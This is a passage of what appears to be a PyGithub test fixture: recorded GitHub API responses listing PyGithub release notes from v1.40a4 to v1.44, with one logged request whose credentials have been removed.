"draft":false,"prerelease":false,"created_at":"2019-10-19T07:32:53Z","published_at":"2019-10-19T07:40:47Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.44","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.44","body":"**New features**\r\n* This version supports running under Python 3 directly, and the test suite\r\n passes under both 2.7 and recent 3.x's.\r\n\r\n**Bug Fixes & Improvements**\r\n* Stop ignoring unused imports and remove them (#1250) (a0765083)\r\n* Bump httpretty to be a greater or equal to (#1262) (27092fb0)\r\n* Add close all issues example (#1256) (13e2c7c7)\r\n* Add six to install_requires (#1245) (a840a906)\r\n* Implemented user organization membership. Added test case. (#1237) (e50420f7)\r\n* Create DEPLOY.md (c9ed82b2)\r\n* Support non-default URLs in GithubIntegration (#1229) (e33858a3)\r\n* Cleanup try/except import in PaginatedList (#1228) (89c967bb)\r\n* Add an IncompletableObject exception (#1227) (f91cbac2)\r\n* Fix redundant int checks (#1226) (850da5af)\r\n* Jump from notifications to related PRs/issues. (#1168) (020fbebc)\r\n* Code review bodies are optional in some cases. (#1169) (b84d9b19)\r\n* Update changes.rst (#1223) (2df7269a)\r\n* Do not auto-close issues with high priority tag (ab27ba4d)\r\n* Fix bug in repository create new file example PyGithub#1210 (#1211) (74cd6856)\r\n* Remove more Python version specific code (#1193) (a0f01cf9)\r\n* Drop use of assertEquals (#1194) (7bac694a)\r\n* Fix PR review creation. (#1184) (e90cdab0)\r\n* Add support to vulnerability alert and automated security fixes APIs (#1195) (8abd50e2)\r\n* Delete Legacy submodule (#1192) (7ddb657d)\r\n* Remove some uses of atLeastPython3 (#1191) (cca8e3a5)\r\n* Run flake8 in Travis (#1163) (f93207b4)\r\n* Fix directories for coverage in Travis (#1190) (657f87b5)\r\n* Switch to using six (#1189) (dc2f2ad8)\r\n* Update Repository.update_file() docstring (#1186) (f1ae7200)\r\n* Correct return type of MainClass.get_organizations (#1179) (6e79d270)\r\n* Add cryptography to test-requirements.txt (#1165) (9b1c1e09)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/18750310","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/18750310/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/18750310/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.8","id":18750310,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE4NzUwMzEw","tag_name":"v1.43.8","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-07-20T15:56:37Z","published_at":"2019-07-20T15:57:21Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.8","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.8","body":"**New features**\r\n\r\n* Add two factor attributes on organizations (#1132) (a0731685)\r\n* Add Repository methods for pending invitations (#1159) (57af1e05)\r\n* Adds `get_issue_events` to `PullRequest` object (#1154) (acd515aa)\r\n* Add invitee and inviter to Invitation (#1156) (0f2beaca)\r\n* Adding support for pending team invitations (#993) (edab176b)\r\n* Add support for custom base_url in GithubIntegration class (#1093) (6cd0d644)\r\n* GithubIntegration: enable getting installation (#1135) (18187045)\r\n* Add sorting capability to Organization.get_repos() (#1139) (ef6f009d)\r\n* Add new Organization.get_team_by_slug method (#1144) (4349bca1)\r\n* Add description field when creating a new team (#1125) (4a37860b)\r\n* Handle a path of / in Repository.get_contents() (#1070) (102c8208)\r\n* Add issue lock/unlock (#1107) (ec7bbcf5)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Fix bug in recursive repository contents example (#1166) (8b6b4505)\r\n* Allow name to be specified for upload_asset (#1151) (8d2a6b53)\r\n* Fixes #1106 for GitHub Enterprise API (#1110) (54065792)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16783673","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16783673/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/16783673/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.7","id":16783673,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE2NzgzNjcz","tag_name":"v1.43.7","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-04-16T03:49:45Z","published_at":"2019-04-16T03:51:41Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.7","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.7","body":"* Exclude tests from PyPI distribution (#1031) (78d283b9)\r\n* Add codecov badge (#1090) (4c0b54c0)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16573117","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16573117/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/16573117/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.6","id":16573117,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE2NTczMTE3","tag_name":"v1.43.6","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-04-05T06:32:18Z","published_at":"2019-04-05T06:32:54Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.6","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.6","body":"**New features**\r\n\r\n * Add support for Python 3.7 (#1028) (6faa00ac)\r\n* Adding HTTP retry functionality via urllib3 (#1002) (5ae7af55)\r\n* Add new dismiss() method on PullRequestReview (#1053) (8ef71b1b)\r\n* Add since and before to `get_notifications` (#1074) (7ee6c417)\r\n* Add url parameter to include anonymous contributors in `get_contributors` (#1075) (293846be)\r\n* Provide option to extend expiration of jwt token (#1068) (86a9d8e9)\r\n\r\n **Bug Fixes & Improvements**\r\n\r\n * Fix the default parameter for `PullRequest.create_review` (#1058) (118def30)\r\n* Fix `get_access_token` (#1042) (6a89eb64)\r\n* Fix `Organization.add_to_members` role passing (#1039) (480f91cf)\r\n\r\n **Deprecation**\r\n\r\n * Remove Status API (6efd6318)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/15234801","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/15234801/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/15234801/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.5","id":15234801,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE1MjM0ODAx","tag_name":"v1.43.5","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-01-28T09:50:05Z","published_at":"2019-01-29T09:35:42Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.5","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.5","body":"* Add project column create card (#1003) (5f5c2764)\r\n* Fix request got an unexpected keyword argument body (#1012) (ff789dcc)\r\n* Add missing import to PullRequest (#1007) (b5122768)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/14655355","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/14655355/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/14655355/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.4","id":14655355,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE0NjU1MzU1","tag_name":"v1.43.4","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-12-21T09:29:21Z","published_at":"2018-12-21T09:30:15Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.4","body":"**New features**\r\n\r\n* Add Migration API (#899) (b4d895ed)\r\n* Add Traffic API (#977) (a433a2fe)\r\n* New in Project API: create repository project, create project column (#995) (1c0fd97d)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Change type of GitRelease.author to NamedUser (#969) (aca50a75)\r\n* Use total_count from data in PaginatedList (#963) (ec177610)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/13744883","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/13744883/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/13744883/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.3","id":13744883,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEzNzQ0ODgz","tag_name":"v1.43.3","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-10-31T00:38:13Z","published_at":"2018-10-31T00:39:35Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.3","body":"**New features**\r\n\r\n* Add support for JWT authentication (#948) (8ccf9a94)\r\n* Added support for required signatures on protected branches (#939) (8ee75a28)\r\n* Ability to filter repository collaborators (#938) (5687226b)\r\n* Mark notification as read (#932) (0a10d7cd)\r\n* Add highlight search to ``search_code`` function (#925) (1fa25670)\r\n* Adding ``suspended_at`` property to NamedUSer (#922) (c13b43ea)\r\n* Add since parameter for Gists (#914) (e18b1078)\r\n\r\n**Bug Fixes & improvements**\r\n\r\n* Fix missing parameters when reversing ``PaginatedList`` (#946) (60a684c5)\r\n* Fix unable to trigger ``RateLimitExceededException``. (#943) (972446d5)\r\n* Fix inconsistent behavior of trailing slash usage in file path (#931) (ee9f098d)\r\n* Fix handling of 301 redirects (#916) (6833245d)\r\n* Fix missing attributes of ``get_repos`` for authenticated users (#915) (c411196f)\r\n* Fix ``Repository.edit`` (#904) (7286eec0)\r\n* Improve ``__repr__`` method of Milestone class (#921) (562908cb)\r\n* Fix rate limit documentation change (#902) (974d1ec5)\r\n* Fix comments not posted in create_review() (#909) (a18eeb3a)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12852693","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12852693/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12852693/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.2","id":12852693,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyODUyNjkz","tag_name":"v1.43.2","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-12T07:01:08Z","published_at":"2018-09-12T07:01:54Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.2","body":"Version 1.43.2 (September 12, 2018)\r\n-----------------------------------\r\n\r\n* Restore ``RateLimit.rate`` attribute, raise deprecation warning instead (d92389be)"}] https GET api.github.com None /repositories/3544490/releases?per_page=10&page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a255e93691b56b2d25a65048efdd3554963cdb6a3ca80671b38f055e7ace4765"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="first"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4637'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '363'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA7A:4595:11F943E:1339E8F:61DC5707')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12829833","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12829833/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12829833/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.1","id":12829833,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyODI5ODMz","tag_name":"v1.43.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-11T05:10:13Z","published_at":"2018-09-11T05:10:56Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.1","body":"Version 1.43.1 (September 11, 2018)\r\n-----------------------------------\r\n New feature:\r\n * Add support for Projects (#854) (faca4ce1)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12796526","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12796526/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12796526/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43","id":12796526,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNzk2NTI2","tag_name":"v1.43","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-08T07:09:08Z","published_at":"2018-09-08T07:46:17Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43","body":"Version 1.43 (September 08, 2018)\r\n-----------------------------------\r\n\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\n**New features**\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Add support for required approving review count (#888) (ef16702)\r\n* Add ``Organization.invite_user`` (880)(eb80564)\r\n* Add support for search/graphql rate limit (fd8a036)\r\n* Add Support search by topics (#893) (3ce0418)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\n**Improvements**\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing attributes to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) (c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n* Add missing attributes for IssueEvent (#857) (7ac2a2a)\r\n* Change ``MainClass.get_repo`` default laziness (#882) (6732517)\r\n\r\n**Deprecation**\r\n\r\n* Removed Repository.get_protected_branch (#871) (49db6f8)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469447","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469447/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12469447/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.41","id":12469447,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNDY5NDQ3","tag_name":"v1.41","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-08-19T03:58:17Z","published_at":"2018-08-19T04:29:14Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.41","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.41","body":"Version 1.41 (August 19, 2018)\r\n-----------------------------------\r\n\r\nv1.41 is not available on pypi\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\nNew features\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\nImprovements\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing properties to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) (c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469444","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469444/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12469444/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.42","id":12469444,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNDY5NDQ0","tag_name":"v1.42","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-08-19T04:27:09Z","published_at":"2018-08-19T04:28:25Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.42","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.42","body":"Version 1.42 (August 19, 2018)\r\n-----------------------------------\r\n\r\n* Fix travis upload issue\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\nNew features\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\nImprovements\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing properties to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) (c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643649","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643649/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/11643649/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a4","id":11643649,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTExNjQzNjQ5","tag_name":"v1.40a4","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-05-21T02:42:33Z","published_at":"2018-06-26T01:09:18Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a4","body":"* Increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Fix Team.description (#797) (0e8ae376)\r\n* Fix Content-Length invalid headers exception (#787) (23395f5f)\r\n* Remove NamedUser.contributions (#774) (a519e467)\r\n* Branch protection methods no longer require loki (#775) 